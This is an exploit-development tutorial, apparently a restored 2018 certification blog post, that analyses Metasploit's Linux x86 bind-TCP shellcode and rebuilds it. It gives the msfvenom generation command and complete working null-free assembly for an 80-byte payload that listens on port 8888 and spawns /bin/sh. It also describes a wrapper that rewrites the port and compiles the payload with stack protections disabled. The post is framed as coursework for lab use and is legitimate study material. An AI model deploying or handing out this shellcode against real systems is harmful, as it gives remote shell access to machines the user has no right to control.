Shellcode Research Nipun Jaswal todayJanuary 2, 2018 2
Legacy research restoration. Originally published on 2 January 2018 as part of the SecurityTube Linux Assembly Expert programme under student ID SLAE-1080. The original research sequence, images, code references and publication date have been preserved.
Bind TCP shellcode is frequently used in exploit-development labs, but payload bytes are often copied without understanding their behaviour. This exercise analysed Metasploit’s Linux x86 bind-shell payload, reconstructed it from system-call behaviour, removed null bytes, reduced its size and added a dynamic port wrapper.
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f raw | sctest -vvv -Ss 10000
![]() |
| Libemu flow analysis of the bind TCP payload |
![]() |
| System-call sequence observed through strace |
The payload follows the expected sequence: create a socket, bind it to a local port, listen, accept a connection, duplicate the accepted descriptor to standard input/output/error and execute a shell.
xor ebx,ebx
xor eax,eax
mov al,102
inc bl
push esi
push byte 1
push byte 2
mov ecx,esp
int 0x80
The socketcall identifier is placed in EAX, SYS_SOCKET in EBX and a pointer to the argument structure {AF_INET, SOCK_STREAM, IPPROTO_IP} in ECX.
xchg edi,eax
push esi
push word 0xb822
push word 2
mov ebx,esp
push byte 16
push ebx
push edi
xor ebx,ebx
mul ebx
mov al,102
mov bl,2
mov ecx,esp
int 0x80
The socket descriptor returned by SYS_SOCKET is saved in EDI. Port 8888 and AF_INET are pushed in word-sized pieces to avoid introducing leading null bytes. The sockaddr pointer, length and descriptor are then passed to SYS_BIND.
; SYS_LISTEN
push esi
push edi
xor ebx,ebx
mul ebx
mov al,102
mov bl,4
mov ecx,esp
int 0x80
; SYS_ACCEPT
xor ebx,ebx
mul ebx
push esi
push esi
push edi
mov al,102
mov bl,5
mov ecx,esp
int 0x80
The listening descriptor is reused for the listen and accept socketcall operations. Null sockaddr and length pointers are supplied for the accepted connection.
The accepted client descriptor is moved into EBX. A compact loop invokes DUP2 for descriptors 2, 1 and 0, after which a null-terminated /bin//sh string is placed on the stack and EXECVE is invoked.
The first null-free implementation measured 108 bytes. It was reduced to 80 bytes by reusing registers, using PUSH/POP pairs, preferring single-byte instructions, exchanging register values rather than copying them and avoiding repeated setup.
global _start
section .text
_start:
; SYS_SOCKET
push 0x66
pop eax
cdq
push ebx
inc ebx
push ebx
push 0x2
mov ecx,esp
int 0x80
; SYS_BIND
pop ebx
pop esi
push edx
push word 0xb822
push edx
push byte 0x02
push 0x10
push ecx
push eax
mov ecx,esp
mov al,0x66
int 0x80
; SYS_LISTEN
pop edx
pop eax
xor eax,eax
push eax
push edx
cdq
mov bl,0x4
mov al,0x66
int 0x80
; SYS_ACCEPT
inc ebx
mov al,0x66
int 0x80
; DUP2
xchg eax,ebx
pop ecx
loop:
mov al,63
int 0x80
dec ecx
jns loop
done:
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
mov ecx,esp
mov al,0xb
int 0x80
Port 8888 appears in the payload as the byte sequence 22 b8. The original Python generator accepted a C stub and a replacement port, converted the port to the required byte order, replaced the default bytes and compiled a lab executable with stack-protection disabled and an executable stack.
This article was created for completing the requirements of the SecurityTube Linux Assembly Expert certification. Student ID: SLAE-1080.
Art of Shellcoding series
This article documents historical 32-bit Linux exploit-development research and tooling. Modern systems commonly add architectural, compiler and operating-system protections that change build and execution behaviour. The material is retained for controlled labs, defensive understanding and the historical research record.
Authorisation notice: Test only on systems you own or are explicitly authorised to assess.
Written by: Nipun Jaswal
Copyright 2026 NIPUNJASWAL.COM